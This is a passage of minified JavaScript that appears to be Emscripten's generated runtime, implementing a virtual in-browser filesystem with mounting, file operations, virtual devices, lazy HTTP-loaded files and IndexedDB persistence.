FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}}var mount={type:type,opts:opts,mountpoint:mountpoint,mounts:[]};var mountRoot=type.mount(mount);mountRoot.mount=mount;mount.root=mountRoot;if(root){FS.root=mountRoot}else if(node){node.mounted=mount;if(node.mount){node.mount.mounts.push(mount)}}return mountRoot}),unmount:(function(mountpoint){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});if(!FS.isMountpoint(lookup.node)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node=lookup.node;var mount=node.mounted;var mounts=FS.getMounts(mount);Object.keys(FS.nameTable).forEach((function(hash){var current=FS.nameTable[hash];while(current){var next=current.name_next;if(mounts.indexOf(current.mount)!==-1){FS.destroyNode(current)}current=next}}));node.mounted=null;var idx=node.mount.mounts.indexOf(mount);assert(idx!==-1);node.mount.mounts.splice(idx,1)}),lookup:(function(parent,name){return parent.node_ops.lookup(parent,name)}),mknod:(function(path,mode,dev){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);if(!name||name==="."||name===".."){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var err=FS.mayCreate(parent,name);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.mknod){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return parent.node_ops.mknod(parent,name,mode,dev)}),create:(function(path,mode){mode=mode!==undefined?mode:438;mode&=4095;mode|=32768;return FS.mknod(path,mode,0)}),mkdir:(function(path,mode){mode=mode!==undefined?mode:511;mode&=511|512;mode|=16384;return FS.mknod(path,mode,0)}),mkdirTree:(function(path,mode){var dirs=path.split("/");var d="";for(var i=0;i<dirs.length;++i){if(!dirs[i])continue;d+="/"+dirs[i];try{FS.mkdir(d,mode)}catch(e){if(e.errno!=ERRNO_CODES.EEXIST)throw e}}}),mkdev:(function(path,mode,dev){if(typeof dev==="undefined"){dev=mode;mode=438}mode|=8192;return FS.mknod(path,mode,dev)}),symlink:(function(oldpath,newpath){if(!PATH.resolve(oldpath)){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}var lookup=FS.lookupPath(newpath,{parent:true});var parent=lookup.node;if(!parent){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}var newname=PATH.basename(newpath);var err=FS.mayCreate(parent,newname);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.symlink){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return parent.node_ops.symlink(parent,newname,oldpath)}),rename:(function(old_path,new_path){var old_dirname=PATH.dirname(old_path);var new_dirname=PATH.dirname(new_path);var old_name=PATH.basename(old_path);var new_name=PATH.basename(new_path);var lookup,old_dir,new_dir;try{lookup=FS.lookupPath(old_path,{parent:true});old_dir=lookup.node;lookup=FS.lookupPath(new_path,{parent:true});new_dir=lookup.node}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!old_dir||!new_dir)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(old_dir.mount!==new_dir.mount){throw new FS.ErrnoError(ERRNO_CODES.EXDEV)}var old_node=FS.lookupNode(old_dir,old_name);var relative=PATH.relative(old_path,new_dirname);if(relative.charAt(0)!=="."){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}relative=PATH.relative(new_path,old_dirname);if(relative.charAt(0)!=="."){throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}var new_node;try{new_node=FS.lookupNode(new_dir,new_name)}catch(e){}if(old_node===new_node){return}var isdir=FS.isDir(old_node.mode);var err=FS.mayDelete(old_dir,old_name,isdir);if(err){throw new FS.ErrnoError(err)}err=new_node?FS.mayDelete(new_dir,new_name,isdir):FS.mayCreate(new_dir,new_name);if(err){throw new FS.ErrnoError(err)}if(!old_dir.node_ops.rename){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(old_node)||new_node&&FS.isMountpoint(new_node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(new_dir!==old_dir){err=FS.nodePermissions(old_dir,"w");if(err){throw new FS.ErrnoError(err)}}try{if(FS.trackingDelegate["willMovePath"]){FS.trackingDelegate["willMovePath"](old_path,new_path)}}catch(e){console.log("FS.trackingDelegate[\'willMovePath\'](\'"+old_path+"\', \'"+new_path+"\') threw an exception: "+e.message)}FS.hashRemoveNode(old_node);try{old_dir.node_ops.rename(old_node,new_dir,new_name)}catch(e){throw e}finally{FS.hashAddNode(old_node)}try{if(FS.trackingDelegate["onMovePath"])FS.trackingDelegate["onMovePath"](old_path,new_path)}catch(e){console.log("FS.trackingDelegate[\'onMovePath\'](\'"+old_path+"\', \'"+new_path+"\') threw an exception: "+e.message)}}),rmdir:(function(path){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);var node=FS.lookupNode(parent,name);var err=FS.mayDelete(parent,name,true);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.rmdir){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}try{if(FS.trackingDelegate["willDeletePath"]){FS.trackingDelegate["willDeletePath"](path)}}catch(e){console.log("FS.trackingDelegate[\'willDeletePath\'](\'"+path+"\') threw an exception: "+e.message)}parent.node_ops.rmdir(parent,name);FS.destroyNode(node);try{if(FS.trackingDelegate["onDeletePath"])FS.trackingDelegate["onDeletePath"](path)}catch(e){console.log("FS.trackingDelegate[\'onDeletePath\'](\'"+path+"\') threw an exception: "+e.message)}}),readdir:(function(path){var lookup=FS.lookupPath(path,{follow:true});var node=lookup.node;if(!node.node_ops.readdir){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}return node.node_ops.readdir(node)}),unlink:(function(path){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);var node=FS.lookupNode(parent,name);var err=FS.mayDelete(parent,name,false);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.unlink){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}try{if(FS.trackingDelegate["willDeletePath"]){FS.trackingDelegate["willDeletePath"](path)}}catch(e){console.log("FS.trackingDelegate[\'willDeletePath\'](\'"+path+"\') threw an exception: "+e.message)}parent.node_ops.unlink(parent,name);FS.destroyNode(node);try{if(FS.trackingDelegate["onDeletePath"])FS.trackingDelegate["onDeletePath"](path)}catch(e){console.log("FS.trackingDelegate[\'onDeletePath\'](\'"+path+"\') threw an exception: "+e.message)}}),readlink:(function(path){var lookup=FS.lookupPath(path);var link=lookup.node;if(!link){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!link.node_ops.readlink){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return PATH.resolve(FS.getPath(link.parent),link.node_ops.readlink(link))}),stat:(function(path,dontFollow){var lookup=FS.lookupPath(path,{follow:!dontFollow});var node=lookup.node;if(!node){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!node.node_ops.getattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return node.node_ops.getattr(node)}),lstat:(function(path){return FS.stat(path,true)}),chmod:(function(path,mode,dontFollow){var node;if(typeof path==="string"){var lookup=FS.lookupPath(path,{follow:!dontFollow});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}node.node_ops.setattr(node,{mode:mode&4095|node.mode&~4095,timestamp:Date.now()})}),lchmod:(function(path,mode){FS.chmod(path,mode,true)}),fchmod:(function(fd,mode){var stream=FS.getStream(fd);if(!stream){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}FS.chmod(stream.node,mode)}),chown:(function(path,uid,gid,dontFollow){var node;if(typeof path==="string"){var lookup=FS.lookupPath(path,{follow:!dontFollow});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}node.node_ops.setattr(node,{timestamp:Date.now()})}),lchown:(function(path,uid,gid){FS.chown(path,uid,gid,true)}),fchown:(function(fd,uid,gid){var stream=FS.getStream(fd);if(!stream){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}FS.chown(stream.node,uid,gid)}),truncate:(function(path,len){if(len<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node;if(typeof path==="string"){var lookup=FS.lookupPath(path,{follow:true});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!FS.isFile(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var err=FS.nodePermissions(node,"w");if(err){throw new FS.ErrnoError(err)}node.node_ops.setattr(node,{size:len,timestamp:Date.now()})}),ftruncate:(function(fd,len){var stream=FS.getStream(fd);if(!stream){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if((stream.flags&2097155)===0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}FS.truncate(stream.node,len)}),utime:(function(path,atime,mtime){var lookup=FS.lookupPath(path,{follow:true});var node=lookup.node;node.node_ops.setattr(node,{timestamp:Math.max(atime,mtime)})}),open:(function(path,flags,mode,fd_start,fd_end){if(path===""){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}flags=typeof flags==="string"?FS.modeStringToFlags(flags):flags;mode=typeof mode==="undefined"?438:mode;if(flags&64){mode=mode&4095|32768}else{mode=0}var node;if(typeof path==="object"){node=path}else{path=PATH.normalize(path);try{var lookup=FS.lookupPath(path,{follow:!(flags&131072)});node=lookup.node}catch(e){}}var created=false;if(flags&64){if(node){if(flags&128){throw new FS.ErrnoError(ERRNO_CODES.EEXIST)}}else{node=FS.mknod(path,mode,0);created=true}}if(!node){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(FS.isChrdev(node.mode)){flags&=~512}if(flags&65536&&!FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}if(!created){var err=FS.mayOpen(node,flags);if(err){throw new FS.ErrnoError(err)}}if(flags&512){FS.truncate(node,0)}flags&=~(128|512);var stream=FS.createStream({node:node,path:FS.getPath(node),flags:flags,seekable:true,position:0,stream_ops:node.stream_ops,ungotten:[],error:false},fd_start,fd_end);if(stream.stream_ops.open){stream.stream_ops.open(stream)}if(Module["logReadFiles"]&&!(flags&1)){if(!FS.readFiles)FS.readFiles={};if(!(path in FS.readFiles)){FS.readFiles[path]=1;Module["printErr"]("read file: "+path)}}try{if(FS.trackingDelegate["onOpenFile"]){var trackingFlags=0;if((flags&2097155)!==1){trackingFlags|=FS.tracking.openFlags.READ}if((flags&2097155)!==0){trackingFlags|=FS.tracking.openFlags.WRITE}FS.trackingDelegate["onOpenFile"](path,trackingFlags)}}catch(e){console.log("FS.trackingDelegate[\'onOpenFile\'](\'"+path+"\', flags) threw an exception: "+e.message)}return stream}),close:(function(stream){if(stream.getdents)stream.getdents=null;try{if(stream.stream_ops.close){stream.stream_ops.close(stream)}}catch(e){throw e}finally{FS.closeStream(stream.fd)}}),llseek:(function(stream,offset,whence){if(!stream.seekable||!stream.stream_ops.llseek){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}stream.position=stream.stream_ops.llseek(stream,offset,whence);stream.ungotten=[];return stream.position}),read:(function(stream,buffer,offset,length,position){if(length<0||position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if((stream.flags&2097155)===1){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(FS.isDir(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!stream.stream_ops.read){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var seeking=true;if(typeof position==="undefined"){position=stream.position;seeking=false}else if(!stream.seekable){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}var bytesRead=stream.stream_ops.read(stream,buffer,offset,length,position);if(!seeking)stream.position+=bytesRead;return bytesRead}),write:(function(stream,buffer,offset,length,position,canOwn){if(length<0||position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if((stream.flags&2097155)===0){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(FS.isDir(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!stream.stream_ops.write){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if(stream.flags&1024){FS.llseek(stream,0,2)}var seeking=true;if(typeof position==="undefined"){position=stream.position;seeking=false}else if(!stream.seekable){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}var bytesWritten=stream.stream_ops.write(stream,buffer,offset,length,position,canOwn);if(!seeking)stream.position+=bytesWritten;try{if(stream.path&&FS.trackingDelegate["onWriteToFile"])FS.trackingDelegate["onWriteToFile"](stream.path)}catch(e){console.log("FS.trackingDelegate[\'onWriteToFile\'](\'"+path+"\') threw an exception: "+e.message)}return bytesWritten}),allocate:(function(stream,offset,length){if(offset<0||length<=0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if((stream.flags&2097155)===0){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(!FS.isFile(stream.node.mode)&&!FS.isDir(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}if(!stream.stream_ops.allocate){throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)}stream.stream_ops.allocate(stream,offset,length)}),mmap:(function(stream,buffer,offset,length,position,prot,flags){if((stream.flags&2097155)===1){throw new FS.ErrnoError(ERRNO_CODES.EACCES)}if(!stream.stream_ops.mmap){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}return stream.stream_ops.mmap(stream,buffer,offset,length,position,prot,flags)}),msync:(function(stream,buffer,offset,length,mmapFlags){if(!stream||!stream.stream_ops.msync){return 0}return stream.stream_ops.msync(stream,buffer,offset,length,mmapFlags)}),munmap:(function(stream){return 0}),ioctl:(function(stream,cmd,arg){if(!stream.stream_ops.ioctl){throw new FS.ErrnoError(ERRNO_CODES.ENOTTY)}return stream.stream_ops.ioctl(stream,cmd,arg)}),readFile:(function(path,opts){opts=opts||{};opts.flags=opts.flags||"r";opts.encoding=opts.encoding||"binary";if(opts.encoding!=="utf8"&&opts.encoding!=="binary"){throw new Error(\'Invalid encoding type "\'+opts.encoding+\'"\')}var ret;var stream=FS.open(path,opts.flags);var stat=FS.stat(path);var length=stat.size;var buf=new Uint8Array(length);FS.read(stream,buf,0,length,0);if(opts.encoding==="utf8"){ret=UTF8ArrayToString(buf,0)}else if(opts.encoding==="binary"){ret=buf}FS.close(stream);return ret}),writeFile:(function(path,data,opts){opts=opts||{};opts.flags=opts.flags||"w";opts.encoding=opts.encoding||"utf8";if(opts.encoding!=="utf8"&&opts.encoding!=="binary"){throw new Error(\'Invalid encoding type "\'+opts.encoding+\'"\')}var stream=FS.open(path,opts.flags,opts.mode);if(opts.encoding==="utf8"){var buf=new Uint8Array(lengthBytesUTF8(data)+1);var actualNumBytes=stringToUTF8Array(data,buf,0,buf.length);FS.write(stream,buf,0,actualNumBytes,0,opts.canOwn)}else if(opts.encoding==="binary"){FS.write(stream,data,0,data.length,0,opts.canOwn)}FS.close(stream)}),cwd:(function(){return FS.currentPath}),chdir:(function(path){var lookup=FS.lookupPath(path,{follow:true});if(lookup.node===null){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!FS.isDir(lookup.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}var err=FS.nodePermissions(lookup.node,"x");if(err){throw new FS.ErrnoError(err)}FS.currentPath=lookup.path}),createDefaultDirectories:(function(){FS.mkdir("/tmp");FS.mkdir("/home");FS.mkdir("/home/web_user")}),createDefaultDevices:(function(){FS.mkdir("/dev");FS.registerDevice(FS.makedev(1,3),{read:(function(){return 0}),write:(function(stream,buffer,offset,length,pos){return length})});FS.mkdev("/dev/null",FS.makedev(1,3));TTY.register(FS.makedev(5,0),TTY.default_tty_ops);TTY.register(FS.makedev(6,0),TTY.default_tty1_ops);FS.mkdev("/dev/tty",FS.makedev(5,0));FS.mkdev("/dev/tty1",FS.makedev(6,0));var random_device;if(typeof crypto!=="undefined"){var randomBuffer=new Uint8Array(1);random_device=(function(){crypto.getRandomValues(randomBuffer);return randomBuffer[0]})}else if(ENVIRONMENT_IS_NODE){random_device=(function(){return require("crypto").randomBytes(1)[0]})}else{random_device=(function(){return Math.random()*256|0})}FS.createDevice("/dev","random",random_device);FS.createDevice("/dev","urandom",random_device);FS.mkdir("/dev/shm");FS.mkdir("/dev/shm/tmp")}),createSpecialDirectories:(function(){FS.mkdir("/proc");FS.mkdir("/proc/self");FS.mkdir("/proc/self/fd");FS.mount({mount:(function(){var node=FS.createNode("/proc/self","fd",16384|511,73);node.node_ops={lookup:(function(parent,name){var fd=+name;var stream=FS.getStream(fd);if(!stream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);var ret={parent:null,mount:{mountpoint:"fake"},node_ops:{readlink:(function(){return stream.path})}};ret.parent=ret;return ret})};return node})},{},"/proc/self/fd")}),createStandardStreams:(function(){if(Module["stdin"]){FS.createDevice("/dev","stdin",Module["stdin"])}else{FS.symlink("/dev/tty","/dev/stdin")}if(Module["stdout"]){FS.createDevice("/dev","stdout",null,Module["stdout"])}else{FS.symlink("/dev/tty","/dev/stdout")}if(Module["stderr"]){FS.createDevice("/dev","stderr",null,Module["stderr"])}else{FS.symlink("/dev/tty1","/dev/stderr")}var stdin=FS.open("/dev/stdin","r");assert(stdin.fd===0,"invalid handle for stdin ("+stdin.fd+")");var stdout=FS.open("/dev/stdout","w");assert(stdout.fd===1,"invalid handle for stdout ("+stdout.fd+")");var stderr=FS.open("/dev/stderr","w");assert(stderr.fd===2,"invalid handle for stderr ("+stderr.fd+")")}),ensureErrnoError:(function(){if(FS.ErrnoError)return;FS.ErrnoError=function ErrnoError(errno,node){this.node=node;this.setErrno=(function(errno){this.errno=errno;for(var key in ERRNO_CODES){if(ERRNO_CODES[key]===errno){this.code=key;break}}});this.setErrno(errno);this.message=ERRNO_MESSAGES[errno]};FS.ErrnoError.prototype=new Error;FS.ErrnoError.prototype.constructor=FS.ErrnoError;[ERRNO_CODES.ENOENT].forEach((function(code){FS.genericErrors[code]=new FS.ErrnoError(code);FS.genericErrors[code].stack="<generic error, no stack>"}))}),staticInit:(function(){FS.ensureErrnoError();FS.nameTable=new Array(4096);FS.mount(MEMFS,{},"/");FS.createDefaultDirectories();FS.createDefaultDevices();FS.createSpecialDirectories();FS.filesystems={"MEMFS":MEMFS,"IDBFS":IDBFS,"NODEFS":NODEFS,"WORKERFS":WORKERFS}}),init:(function(input,output,error){assert(!FS.init.initialized,"FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)");FS.init.initialized=true;FS.ensureErrnoError();Module["stdin"]=input||Module["stdin"];Module["stdout"]=output||Module["stdout"];Module["stderr"]=error||Module["stderr"];FS.createStandardStreams()}),quit:(function(){FS.init.initialized=false;var fflush=Module["_fflush"];if(fflush)fflush(0);for(var i=0;i<FS.streams.length;i++){var stream=FS.streams[i];if(!stream){continue}FS.close(stream)}}),getMode:(function(canRead,canWrite){var mode=0;if(canRead)mode|=292|73;if(canWrite)mode|=146;return mode}),joinPath:(function(parts,forceRelative){var path=PATH.join.apply(null,parts);if(forceRelative&&path[0]=="/")path=path.substr(1);return path}),absolutePath:(function(relative,base){return PATH.resolve(base,relative)}),standardizePath:(function(path){return PATH.normalize(path)}),findObject:(function(path,dontResolveLastLink){var ret=FS.analyzePath(path,dontResolveLastLink);if(ret.exists){return ret.object}else{___setErrNo(ret.error);return null}}),analyzePath:(function(path,dontResolveLastLink){try{var lookup=FS.lookupPath(path,{follow:!dontResolveLastLink});path=lookup.path}catch(e){}var ret={isRoot:false,exists:false,error:0,name:null,path:null,object:null,parentExists:false,parentPath:null,parentObject:null};try{var lookup=FS.lookupPath(path,{parent:true});ret.parentExists=true;ret.parentPath=lookup.path;ret.parentObject=lookup.node;ret.name=PATH.basename(path);lookup=FS.lookupPath(path,{follow:!dontResolveLastLink});ret.exists=true;ret.path=lookup.path;ret.object=lookup.node;ret.name=lookup.node.name;ret.isRoot=lookup.path==="/"}catch(e){ret.error=e.errno}return ret}),createFolder:(function(parent,name,canRead,canWrite){var path=PATH.join2(typeof parent==="string"?parent:FS.getPath(parent),name);var mode=FS.getMode(canRead,canWrite);return FS.mkdir(path,mode)}),createPath:(function(parent,path,canRead,canWrite){parent=typeof parent==="string"?parent:FS.getPath(parent);var parts=path.split("/").reverse();while(parts.length){var part=parts.pop();if(!part)continue;var current=PATH.join2(parent,part);try{FS.mkdir(current)}catch(e){}parent=current}return current}),createFile:(function(parent,name,properties,canRead,canWrite){var path=PATH.join2(typeof parent==="string"?parent:FS.getPath(parent),name);var mode=FS.getMode(canRead,canWrite);return FS.create(path,mode)}),createDataFile:(function(parent,name,data,canRead,canWrite,canOwn){var path=name?PATH.join2(typeof parent==="string"?parent:FS.getPath(parent),name):parent;var mode=FS.getMode(canRead,canWrite);var node=FS.create(path,mode);if(data){if(typeof data==="string"){var arr=new Array(data.length);for(var i=0,len=data.length;i<len;++i)arr[i]=data.charCodeAt(i);data=arr}FS.chmod(node,mode|146);var stream=FS.open(node,"w");FS.write(stream,data,0,data.length,0,canOwn);FS.close(stream);FS.chmod(node,mode)}return node}),createDevice:(function(parent,name,input,output){var path=PATH.join2(typeof parent==="string"?parent:FS.getPath(parent),name);var mode=FS.getMode(!!input,!!output);if(!FS.createDevice.major)FS.createDevice.major=64;var dev=FS.makedev(FS.createDevice.major++,0);FS.registerDevice(dev,{open:(function(stream){stream.seekable=false}),close:(function(stream){if(output&&output.buffer&&output.buffer.length){output(10)}}),read:(function(stream,buffer,offset,length,pos){var bytesRead=0;for(var i=0;i<length;i++){var result;try{result=input()}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}if(result===undefined&&bytesRead===0){throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)}if(result===null||result===undefined)break;bytesRead++;buffer[offset+i]=result}if(bytesRead){stream.node.timestamp=Date.now()}return bytesRead}),write:(function(stream,buffer,offset,length,pos){for(var i=0;i<length;i++){try{output(buffer[offset+i])}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}}if(length){stream.node.timestamp=Date.now()}return i})});return FS.mkdev(path,mode,dev)}),createLink:(function(parent,name,target,canRead,canWrite){var path=PATH.join2(typeof parent==="string"?parent:FS.getPath(parent),name);return FS.symlink(target,path)}),forceLoadFile:(function(obj){if(obj.isDevice||obj.isFolder||obj.link||obj.contents)return true;var success=true;if(typeof XMLHttpRequest!=="undefined"){throw new Error("Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.")}else if(Module["read"]){try{obj.contents=intArrayFromString(Module["read"](obj.url),true);obj.usedBytes=obj.contents.length}catch(e){success=false}}else{throw new Error("Cannot load without read() or XMLHttpRequest.")}if(!success)___setErrNo(ERRNO_CODES.EIO);return success}),createLazyFile:(function(parent,name,url,canRead,canWrite){function LazyUint8Array(){this.lengthKnown=false;this.chunks=[]}LazyUint8Array.prototype.get=function LazyUint8Array_get(idx){if(idx>this.length-1||idx<0){return undefined}var chunkOffset=idx%this.chunkSize;var chunkNum=idx/this.chunkSize|0;return this.getter(chunkNum)[chunkOffset]};LazyUint8Array.prototype.setDataGetter=function LazyUint8Array_setDataGetter(getter){this.getter=getter};LazyUint8Array.prototype.cacheLength=function LazyUint8Array_cacheLength(){var xhr=new XMLHttpRequest;xhr.open("HEAD",url,false);xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw new Error("Couldn\'t load "+url+". Status: "+xhr.status);var datalength=Number(xhr.getResponseHeader("Content-length"));var header;var hasByteServing=(header=xhr.getResponseHeader("Accept-Ranges"))&&header==="bytes";var usesGzip=(header=xhr.getResponseHeader("Content-Encoding"))&&header==="gzip";var chunkSize=1024*1024;if(!hasByteServing)chunkSize=datalength;var doXHR=(function(from,to){if(from>to)throw new Error("invalid range ("+from+", "+to+") or no bytes requested!");if(to>datalength-1)throw new Error("only "+datalength+" bytes available! programmer error!");var xhr=new XMLHttpRequest;xhr.open("GET",url,false);if(datalength!==chunkSize)xhr.setRequestHeader("Range","bytes="+from+"-"+to);if(typeof Uint8Array!="undefined")xhr.responseType="arraybuffer";if(xhr.overrideMimeType){xhr.overrideMimeType("text/plain; charset=x-user-defined")}xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw new Error("Couldn\'t load "+url+". Status: "+xhr.status);if(xhr.response!==undefined){return new Uint8Array(xhr.response||[])}else{return intArrayFromString(xhr.responseText||"",true)}});var lazyArray=this;lazyArray.setDataGetter((function(chunkNum){var start=chunkNum*chunkSize;var end=(chunkNum+1)*chunkSize-1;end=Math.min(end,datalength-1);if(typeof lazyArray.chunks[chunkNum]==="undefined"){lazyArray.chunks[chunkNum]=doXHR(start,end)}if(typeof lazyArray.chunks[chunkNum]==="undefined")throw new Error("doXHR failed!");return lazyArray.chunks[chunkNum]}));if(usesGzip||!datalength){chunkSize=datalength=1;datalength=this.getter(0).length;chunkSize=datalength;console.log("LazyFiles on gzip forces download of the whole file when length is accessed")}this._length=datalength;this._chunkSize=chunkSize;this.lengthKnown=true};if(typeof XMLHttpRequest!=="undefined"){if(!ENVIRONMENT_IS_WORKER)throw"Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc";var lazyArray=new LazyUint8Array;Object.defineProperties(lazyArray,{length:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return this._length})},chunkSize:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return this._chunkSize})}});var properties={isDevice:false,contents:lazyArray}}else{var properties={isDevice:false,url:url}}var node=FS.createFile(parent,name,properties,canRead,canWrite);if(properties.contents){node.contents=properties.contents}else if(properties.url){node.contents=null;node.url=properties.url}Object.defineProperties(node,{usedBytes:{get:(function(){return this.contents.length})}});var stream_ops={};var keys=Object.keys(node.stream_ops);keys.forEach((function(key){var fn=node.stream_ops[key];stream_ops[key]=function forceLoadLazyFile(){if(!FS.forceLoadFile(node)){throw new FS.ErrnoError(ERRNO_CODES.EIO)}return fn.apply(null,arguments)}}));stream_ops.read=function stream_ops_read(stream,buffer,offset,length,position){if(!FS.forceLoadFile(node)){throw new FS.ErrnoError(ERRNO_CODES.EIO)}var contents=stream.node.contents;if(position>=contents.length)return 0;var size=Math.min(contents.length-position,length);assert(size>=0);if(contents.slice){for(var i=0;i<size;i++){buffer[offset+i]=contents[position+i]}}else{for(var i=0;i<size;i++){buffer[offset+i]=contents.get(position+i)}}return size};node.stream_ops=stream_ops;return node}),createPreloadedFile:(function(parent,name,url,canRead,canWrite,onload,onerror,dontCreateFile,canOwn,preFinish){Browser.init();var fullname=name?PATH.resolve(PATH.join2(parent,name)):parent;var dep=getUniqueRunDependency("cp "+fullname);function processData(byteArray){function finish(byteArray){if(preFinish)preFinish();if(!dontCreateFile){FS.createDataFile(parent,name,byteArray,canRead,canWrite,canOwn)}if(onload)onload();removeRunDependency(dep)}var handled=false;Module["preloadPlugins"].forEach((function(plugin){if(handled)return;if(plugin["canHandle"](fullname)){plugin["handle"](byteArray,fullname,finish,(function(){if(onerror)onerror();removeRunDependency(dep)}));handled=true}}));if(!handled)finish(byteArray)}addRunDependency(dep);if(typeof url=="string"){Browser.asyncLoad(url,(function(byteArray){processData(byteArray)}),onerror)}else{processData(url)}}),indexedDB:(function(){return window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB}),DB_NAME:(function(){return"EM_FS_"+window.location.pathname}),DB_VERSION:20,DB_STORE_NAME:"FILE_DATA",saveFilesToDB:(function(paths,onload,onerror){onload=onload||(function(){});onerror=onerror||(function(){});var indexedDB=FS.indexedDB();try{var openRequest=indexedDB.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return onerror(e)}openRequest.onupgradeneeded=function openRequest_onupgradeneeded(){console.log("creating db");var db=openRequest.result;db.createObjectStore(FS.DB_STORE_NAME)};openRequest.onsuccess=function openRequest_onsuccess(){var db=openRequest.result;var transaction=db.transaction([FS.DB_STORE_NAME],"readwrite");var files=transaction.objectStore(FS.DB_STORE_NAME);var ok=0,fail=0,total=paths.length;function finish(){if(fail==0)onload();else onerror()}paths.forEach((function(path){var putRequest=files.put(FS.analyzePath(path).object.contents,path);putRequest.onsuccess=function putRequest_onsuccess(){ok++;if(ok+fail==total)finish()};putRequest.onerror=function putRequest_onerror(){fail++;if(ok+fail==total)finish()}}));transaction.onerror=onerror};openRequest.onerror=onerror}),loadFilesFromDB:(function(paths,onload,onerror){onload=onload||(function(){});onerror=onerror||(function(){});var indexedDB=FS.indexedDB();try{var openRequest=indexedDB.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return onerror(e)}openRequest.onupgradeneeded=onerror;openRequest.onsuccess=function openRequest_onsuccess(){var db=openRequest.result;try{var transaction=db.transaction([FS.DB_STORE_NAME],"readonly")}catch(e){onerror(e);return}var files=transaction.objectStore(FS.DB_STORE_NAME);var ok=0,fail=0,total=paths.length;function finish(){if(fail==0)onload();else onerror()}paths.forEach((function(path){var getRequest=files.get(path);getRequest.onsuccess=function getRequest_onsuccess(){if(FS.analyzePath(path).exists){FS.unlink(path)}FS.createDataFile(PATH.dirname(path),PATH.basename(path),getRequest.result,true,true,true);ok++;if(ok+fail==total)finish()};getRequest.onerror=function 